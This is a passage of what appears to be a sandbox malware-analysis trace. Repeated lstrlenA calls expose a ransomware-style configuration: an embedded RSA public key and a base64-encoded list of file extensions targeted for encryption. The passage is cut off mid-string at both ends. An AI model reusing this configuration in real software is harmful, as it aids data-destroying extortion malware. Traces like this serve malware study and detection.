J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA